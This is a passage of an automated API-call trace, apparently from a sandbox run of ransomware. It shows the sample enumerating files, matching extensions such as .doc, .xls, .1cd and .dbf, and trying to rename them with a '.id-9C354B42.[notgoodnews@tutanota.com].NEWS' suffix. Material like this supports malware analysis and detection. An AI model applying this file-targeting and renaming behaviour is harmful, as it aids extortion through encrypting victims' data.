(lpString1=".jpg", lpString2=".avi") returned 1 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.424] lstrlenW (lpString=".doc") returned 4 [0050.424] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.424] lstrlenW (lpString=".docx") returned 5 [0050.424] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0050.424] lstrlenW (lpString=".pdf") returned 4 [0050.424] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.424] lstrlenW (lpString=".xls") returned 4 [0050.424] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.424] lstrlenW (lpString=".xlsx") returned 5 [0050.424] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0050.424] lstrlenW (lpString=".ppt") returned 4 [0050.424] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.425] lstrlenW (lpString=".zip") returned 4 [0050.425] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.425] lstrlenW (lpString=".rar") returned 4 [0050.425] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.425] lstrlenW (lpString=".bz2") returned 4 [0050.425] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.425] lstrlenW (lpString=".7z") returned 3 [0050.425] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.425] lstrlenW (lpString=".dbf") returned 4 [0050.425] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.425] lstrlenW (lpString=".1cd") returned 4 [0050.425] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.425] lstrlenW (lpString=".jpg") returned 4 [0050.425] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.426] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.426] lstrlenW (lpString="correct.avi") returned 11 [0050.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.426] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=197120) returned 1 [0050.426] CloseHandle (hObject=0x208) returned 1 [0050.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0050.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0050.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0050.426] lstrlenW (lpString=".doc") returned 4 [0050.427] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".docx") returned 5 [0050.427] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0050.427] lstrlenW (lpString=".pdf") returned 4 [0050.427] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".xls") returned 4 [0050.427] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".xlsx") returned 5 [0050.427] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0050.427] lstrlenW (lpString=".ppt") returned 4 [0050.427] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0050.427] lstrlenW (lpString=".zip") returned 4 [0050.427] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".rar") returned 4 [0050.427] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".bz2") returned 4 [0050.427] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.427] lstrlenW (lpString=".7z") returned 3 [0050.427] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0050.427] lstrlenW (lpString=".dbf") returned 4 [0050.428] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0051.438] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=727) returned 1 [0051.438] CloseHandle (hObject=0x194) returned 1 [0051.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0051.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.439] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0052.199] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3161) returned 1 [0052.199] CloseHandle (hObject=0x1ac) returned 1 [0052.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0052.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0052.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0053.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.938] lstrlenW (lpString=".doc") returned 4 [0053.938] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString=".docx") returned 5 [0053.938] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0053.938] lstrlenW (lpString=".pdf") returned 4 [0053.938] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString=".xls") returned 4 [0053.938] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString=".xlsx") returned 5 [0053.938] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0053.938] lstrlenW (lpString=".ppt") returned 4 [0053.938] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.938] lstrlenW (lpString=".zip") returned 4 [0053.938] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString=".rar") returned 4 [0053.938] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0053.938] lstrlenW (lpString=".bz2") returned 4 [0053.939] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0053.939] lstrlenW (lpString=".7z") returned 3 [0053.939] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.939] lstrlenW (lpString=".dbf") returned 4 [0053.939] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.939] lstrlenW (lpString=".1cd") returned 4 [0053.939] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.939] lstrlenW (lpString=".jpg") returned 4 [0053.939] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.939] lstrlenW (lpString=".doc") returned 4 [0053.939] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0053.939] lstrlenW (lpString=".docx") returned 5 [0053.939] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0053.940] lstrlenW (lpString=".pdf") returned 4 [0053.940] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString=".xls") returned 4 [0053.940] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString=".xlsx") returned 5 [0053.940] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0053.940] lstrlenW (lpString=".ppt") returned 4 [0053.940] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.940] lstrlenW (lpString=".zip") returned 4 [0053.940] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString=".rar") returned 4 [0053.940] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString=".bz2") returned 4 [0053.940] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0053.940] lstrlenW (lpString=".7z") returned 3 [0053.940] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.940] lstrlenW (lpString=".dbf") returned 4 [0053.940] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.941] lstrlenW (lpString=".1cd") returned 4 [0053.941] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0053.941] lstrlenW (lpString=".jpg") returned 4 [0053.941] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0053.997] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.997] lstrlenW (lpString="ipsptb.xml") returned 10 [0053.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.998] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2246) returned 1 [0053.998] CloseHandle (hObject=0x20c) returned 1 [0053.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0053.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0053.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0053.998] lstrlenW (lpString=".doc") returned 4 [0053.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.998] lstrlenW (lpString=".docx") returned 5 [0053.999] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0053.999] lstrlenW (lpString=".pdf") returned 4 [0053.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".xls") returned 4 [0053.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".xlsx") returned 5 [0053.999] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0053.999] lstrlenW (lpString=".ppt") returned 4 [0053.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0053.999] lstrlenW (lpString=".zip") returned 4 [0053.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.999] lstrlenW (lpString=".rar") returned 4 [0053.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".bz2") returned 4 [0053.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".7z") returned 3 [0053.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0053.999] lstrlenW (lpString=".dbf") returned 4 [0054.000] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.000] lstrlenW (lpString=".1cd") returned 4 [0054.000] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.000] lstrlenW (lpString=".jpg") returned 4 [0054.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.000] lstrlenW (lpString=".doc") returned 4 [0054.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".docx") returned 5 [0054.000] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0054.000] lstrlenW (lpString=".pdf") returned 4 [0054.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".xls") returned 4 [0054.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".xlsx") returned 5 [0054.000] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0054.001] lstrlenW (lpString=".ppt") returned 4 [0054.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.001] lstrlenW (lpString=".zip") returned 4 [0054.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.001] lstrlenW (lpString=".rar") returned 4 [0054.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.001] lstrlenW (lpString=".bz2") returned 4 [0054.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.001] lstrlenW (lpString=".7z") returned 3 [0054.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.001] lstrlenW (lpString=".dbf") returned 4 [0054.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.001] lstrlenW (lpString=".1cd") returned 4 [0054.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0054.001] lstrlenW (lpString=".jpg") returned 4 [0054.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.002] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0054.002] lstrlenW (lpString="ipsptg.xml") returned 10 [0054.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.003] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2240) returned 1 [0054.003] CloseHandle (hObject=0x20c) returned 1 [0054.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0054.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.003] lstrlenW (lpString=".doc") returned 4 [0054.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.003] lstrlenW (lpString=".docx") returned 5 [0054.003] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0054.003] lstrlenW (lpString=".pdf") returned 4 [0054.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString=".xls") returned 4 [0054.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString=".xlsx") returned 5 [0054.004] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0054.004] lstrlenW (lpString=".ppt") returned 4 [0054.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.004] lstrlenW (lpString=".zip") returned 4 [0054.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.004] lstrlenW (lpString=".rar") returned 4 [0054.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString=".bz2") returned 4 [0054.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString=".7z") returned 3 [0054.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.004] lstrlenW (lpString=".dbf") returned 4 [0054.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.004] lstrlenW (lpString=".1cd") returned 4 [0054.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.005] lstrlenW (lpString=".jpg") returned 4 [0054.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.005] lstrlenW (lpString=".doc") returned 4 [0054.005] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString=".docx") returned 5 [0054.005] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0054.005] lstrlenW (lpString=".pdf") returned 4 [0054.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString=".xls") returned 4 [0054.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString=".xlsx") returned 5 [0054.005] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0054.005] lstrlenW (lpString=".ppt") returned 4 [0054.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.006] lstrlenW (lpString=".zip") returned 4 [0054.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.006] lstrlenW (lpString=".rar") returned 4 [0054.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.006] lstrlenW (lpString=".bz2") returned 4 [0054.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.006] lstrlenW (lpString=".7z") returned 3 [0054.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.006] lstrlenW (lpString=".dbf") returned 4 [0054.007] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.007] lstrlenW (lpString=".1cd") returned 4 [0054.007] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0054.007] lstrlenW (lpString=".jpg") returned 4 [0054.007] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.007] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0054.007] lstrlenW (lpString="ipsrom.xml") returned 10 [0054.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.008] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2644) returned 1 [0054.008] CloseHandle (hObject=0x20c) returned 1 [0054.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0054.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.008] lstrlenW (lpString=".doc") returned 4 [0054.009] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString=".docx") returned 5 [0054.009] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0054.009] lstrlenW (lpString=".pdf") returned 4 [0054.009] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString=".xls") returned 4 [0054.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString=".xlsx") returned 5 [0054.009] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0054.009] lstrlenW (lpString=".ppt") returned 4 [0054.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.009] lstrlenW (lpString=".zip") returned 4 [0054.009] lstrcmpiW 